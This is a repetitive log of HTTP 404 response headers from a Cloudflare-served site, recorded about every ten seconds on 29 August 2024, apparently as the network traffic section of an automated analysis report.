Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:41:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 73Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3xhKipF4ZA8%2Bkvdd%2BU1F%2BrBg4eynZTN%2BjBDWj9bgfGgH%2BilT3MDXaYBqPidLk%2BHIjGpOJ1KV5XU%2BxKhXjAr%2FlM%2FPDMyPa%2BmW65B7puXv5TX78IU5IOvcZbn8wsk%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babedddcc3059df-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:41:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 84Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EoNQvU%2F68bPKsSQUFFONu8irGKTbWrh9ZiAyCeTfaGqzkT7pMFpOm5qS5cv%2BpGcO9DD5iqwclNCCrU5vtum1PhltMVpXIYst3f8%2BQdM1rJzMTQXGTSBbOxZT56Q%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babee1f886782ec-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:41:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 94Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hwkKcTa3VXkc7R9rQYkkb4eqPmY8q4UzebAK8gzZsZ4XJBRVEUF19Zbfu0H4L7Gp15nI4QJZ7M5%2F%2Fm8bIekDe9NEAW9JWIima4oQgcnbn1Gr3bjWeb6%2F2hGaJTo%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babee614a62c968-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:42:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 105Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=13eTPd51Zx4b9EW4xNYd4Zei8NPIGF4uqYtQUC%2BvF7tiLZ45S6fm%2B4M7DPeBk7meYNsqfYwxRKlb%2BQqUwjx4TJBXNlEP7Z%2FylcPwqo20X09H0aQMyGuOzkdWb64%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babeea32f3d061c-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:42:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 115Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MqmBalLXHAr8qRHykb93s7Lp50lREcKDyK8n%2Bv3wMBlsq8eWm%2FglNpbgr71VKPXaN9RNmJINX9aly%2FjGoZjXd5KoUWa3uB7RDsG05r8TwF7mWPTyTmQB3N%2Fsh6c%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babeee4daa80854-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:42:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 126Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qBfD0KFqKH%2FjuEPqXLGmfVRvGlYJ7xonfYKsjAuioIk3mZ0nD9XfU%2BsdBUtdQhBZsKK5pD6i%2FUtbiuoTH6VFzUzLjhCbEFyDCq93DypeKvLBwuv6cw7Or8rps0k%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babef268d5d2d0e-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:42:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 136Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qXfiXuYJ4hadXmEM7sONEP2m4MQat6SkERSgInyk3olB8%2FyTCkHB9wvTJz%2BgVW0ZWgn4wzpHY%2FvjdL3Nm%2Fo0G%2Fw%2BeVKfHB1ZsNgSW49r3D78mp37yvegGleUReY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babef686b810737-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:42:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 147Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sKbW1Y4HPTxcwBPBIxIFuOUjsGbsPaM6IiXAd0gCMmTFMP9875X41jv%2FHIB2pY3JVz7Pai9QieunjV56GiHCRUmj5a0Az4aB3jgFZq%2BDhZf%2B8td4V0P0WY4tXPY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babefaa5a9a81b7-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:42:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 158Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ACR1CIV4FDjAhd2ezzKBo%2B%2BmCDuOxvybSxgwkG%2BbAd5HU8pi0XXVuQciCGeO3g2yq6%2BYdcmvE1zckugScTv%2Bv9j6Z6OLnGK86IWyAqmiaNLNoz6qlN7YsvRc8vA%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babefec688805f3-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:43:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 168Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U7Th%2F8Vb4dHHXArb7cx59BBVc87nvJf%2FkctRSGb54018w3bD7fVg3zI5%2Fec8AKupGUwgCcLMuJ0n9cCjXQASLw1zbGqJkvhSaaPE8zL3nDYgQoyt6XKX7OcSQdM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf02e69c8172f-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:43:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 179Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dbk%2FKlA5H5JLhG8PPhB65XbwQbdmh%2BQuyX7czVbll9LXT2Gn6wLrXAg2J01sP%2BrLITcKC2G80RJdaTG2N3GJ00IoPwRLkpY2uN0YM7%2Bs37rw0vlUL%2BiDrvlu77o%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf0706a5c05ce-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:43:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Od4qaBQE%2FtUECG2uHXncFSGFpGy%2BElvcGv%2F4Zuev9uqQg3CYtB0J5RH5UGOt1uAq3oNKrZGFbXkZC5ZN8paB1%2F2pdPTk02kUIZNS3jKtbuNJRKQgd08JUWCvWLc%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf0b24fe40609-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:43:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 11Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=woX15csC0YOdsa1t8EAgxqkSaWKCCfkIOd%2Bw7Tlq0AZCVdXVwSZi9akJ%2FX4%2Fz%2FDXfb2Z8hEgZN1RbvaspsX9mjx7%2B5K8T45kDCrg9oMv%2BNEBzj31wMu03OoMeCU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf0f58f11c97c-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:43:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 21Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4jLzCJsXLh%2FbWWp8BjVWVvbN3PyjdVuDU6cM5nc8f7Z%2Bx3yGVBy1YNlbzREWZFtOZoFTWPylOsvMeUFnOmg90cQlbqRlz5twBb0gZcQF0EnzDJeFM8C7NTFqGUo%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf1371bc759ce-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:43:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 32Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=66FqERb112nzweANwbLdsasmMz7%2FDYqGhx8TV%2BInDLuRcE3Xe9%2Fo0CcLb1X7S4Ag3zmA6d8YHlL7KsnZVtsScPJoowdkcYp3L01kOBtHiO2kCiw%2Bl5qVENt0YzA%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf17898bac9bc-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:44:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 43Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EAyowupOWb5VXJ8gC4tntqPW5lHx8Wi31AqO8BiSuyacK%2BvW%2Bj8bdTSJccpv2AWsWdcPSFfIJC7JQrZwlmmGQw%2FXHYGg793%2F%2BJA0Oo8Nv7kyTTDfZi4IsfhJB%2F4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf1ba687f1ffa-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:44:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 53Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NUQZXjbzj6ju5s79yPBAjZRr5ZbQySffRYXyCiog5C98MrYxjtX4dfqOvzHoEREzjEpqkWEcgtlnPMoUI77jkK34azHbAEx6NuWJoGWLZ0hVfIDXRrbRWywH9Fw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf1fc3cdb8292-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:44:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 64Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jz7VFTiPKQF%2BrRLpb7vN69gK1%2BcUzeYu3BFQsHzO%2FmQB7Hoyaz7PP2PEJ91Iqz4OhWro%2BvS41XUpNsShp%2FwWXGND%2BNVq9DVAV5IhPeLjK9dkC%2FnuyGJawWmzKiU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf23dfbae9c19-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:44:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 74Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dSvQgm36B3CQEVixDq3DLwJqqF5XXqvULb76%2FrqY6JwvfSAYG14bICP2RkC3%2BlivDeQ11NRp0ElYQUdvNinDT9QqQ0DxTADa9IU3zT%2B7VYeAVDpivDoFpGi%2Fe%2BU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf27f88a9c942-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:44:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 85Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uvGrHFVh6PWFBvVSHPcReQAvG0Omr3d9apds8VsHZOTN8ioHKp0%2BhLP54nunsGj%2B29ujAyCl%2BpO8%2B20tzttoyvcV28n1%2BxKZ%2FhluUogbCGQ1Xa1zUUIn0U1DaPU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf2c13d4281db-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:45:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 95Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q5RykvhTjptvCpjS4wBPMhx7sp3%2BIMVVbgt%2BdCZ5ZDBHAQzsmV1mWm%2BfHQUYsE69qHvhdqIMvGmqLPrN6Q39SMHAX1j5kFlAsGbT4Yj4ZUDtLM2umg8S3KmvoWY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf3030f68c591-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:45:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 106Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dHBvQLdSwBm9PoKkTUtljEORft8B1GglMqqEBglJjTMkatKnSdWb64zw2yRX6qFMQNH%2F8TYsc7qAPz%2F7OuPcjsXgLOia82dKizi9rdTMsjTqUo9Vd4N94%2FBzd5k%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf344da1e57be-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:45:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 116Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d7ML22O2MaLNZwkcKS5ZwIoNBgQdWjIPbpKa5C656H0VcHLsJ3mDbZ9IEolDUb1noMxr2onIbst3OkbdrzkLScnR1NkvZYlF4EIUcwP99DxRYaoQW70ruzdv2pY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf38668e43937-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:45:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 127Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X%2Ft4Tp4q67AjqoGnNYQb3vJ36PjrscP1jipXuXbg4DznR3Hb4YcJ7XJ6OJHXc64pDG09DJPB4mELnEq0%2BEuQhVAsFklDV6mm49lng4PkUvqOGoVLgBwghDiBlnQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf3c7ffb620a6-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:45:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 137Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I8mdVRsckUPkt8lQImW1t%2FJNUaQlVWdid47Dt%2B8tQOwfS6LRTGKaX6Jf%2Fwwyu%2FhoOWUjgJQazpjxkQtSARQtuY%2BaOgW%2Bdd0lXnN5SPiV%2F4If74pYAqji2H2U9EA%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf4099fdbc964-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:45:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 148Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CeJDVuF8OdH73QzQxhx6Ya%2By2rTERqsl2K1PkHi6bLgELQ%2FqL6nLvm10nk7D7QPkyypge0Qv2G2NkjWPH%2F8B7rk9Te4lhDOrjOfdWum19e%2FRC%2BdAzDoTfYaziJw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf44b2cbf7fa2-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:46:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 158Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E9rZlVeDhwdqDZZGjQhu0dUlwNp5yTVN8CDPGJU6B0zoyrVMK4M2SFsG29iaDHhvENveahuXEZqOdbgnOQVQ2sHWgdBRoqWOO4U3NgF%2Bq5TZHM0nMTlkHxOy%2FqM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf48cbb7f5b16-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:46:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 169Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XpFerUiOo3ZV%2BbxUG8g34luJU5ejspS3NVs3q3CJs2XmEzhBLIZLkq89aryqZdIuxLnwRKNWVBj0ZdMOukG4KD%2FvXYU%2FB4y%2Bz%2FWxC6azEhijd6PBBys1vx21i1o%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf4ce5fc505e2-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:46:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 179Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CNIMbtOHrHgJlLrjgfSeKe%2FL%2BGXi9zf5%2B4BVoo87xepPBkNa48MR2OZKtRgL2hVw06Eoyk8ByvYbFOoZq%2FZs8XbiuIqUfl5P2iAH2OBG4iNDvsOkUL2ItgjTUsU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf50feb7f0949-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:46:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vTE2Sv77XFRjvS8qsqlko1AXrAWneT8Lgnx0krqqZJj%2BallBnvx8eQbG%2B5eDjz4dxLXn7pF1jYX4RbWUL9ZzMDi6nY8h%2FHmfHx3PDDnRzctcZXY5xqeDFxXgX2w%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf5518b0c05c2-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:46:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 10Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TMZVqUKXFMvt2oMoa48tTQ6wtJGNlsj%2BV0xfFDSCUlN4MdFfYHKliDJuGvqvQdJspkuekEbN9gYQKsm%2FN%2FCX%2B9QswbCJYmma%2FmsNw34w300XjQjpejXGy4rijac%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf594ad5d801b-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:46:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 21Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2e7n4Gsfk9EOUGZg0NvISoDMYY5slzc%2BuhdL6VsJXvTznTMhPQFig3bIc5SBS0xOp1js7%2BZlr7KJ4ZKaUFT830IKXSxADI5iWUIT%2Bjez%2BQ%2BzACGDLjB0CHTtaDQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf5d68da12d28-IADalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Aug 2024 10:47:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingLast-Modified: Tue, 27 Aug 2024 00:54:25 GMTCache-Control: max-age=14400CF-Cache-Status: HITAge: 31Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w9E4enV9EQITKn2RdaDLiP1UOL%2F4RcQ3ckHhSfEealRp%2BJr%2Bs6pVErAmRvyglu6UI7uWTGZlJKq6%2Bw%2BC8BIWPeI2PVbnBWrRNkS%2FQk7vcvV4gitiB6PZ9ZnfYyY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8babf6182f97061a-IADalt-svc: h3=":443"; ma=86400
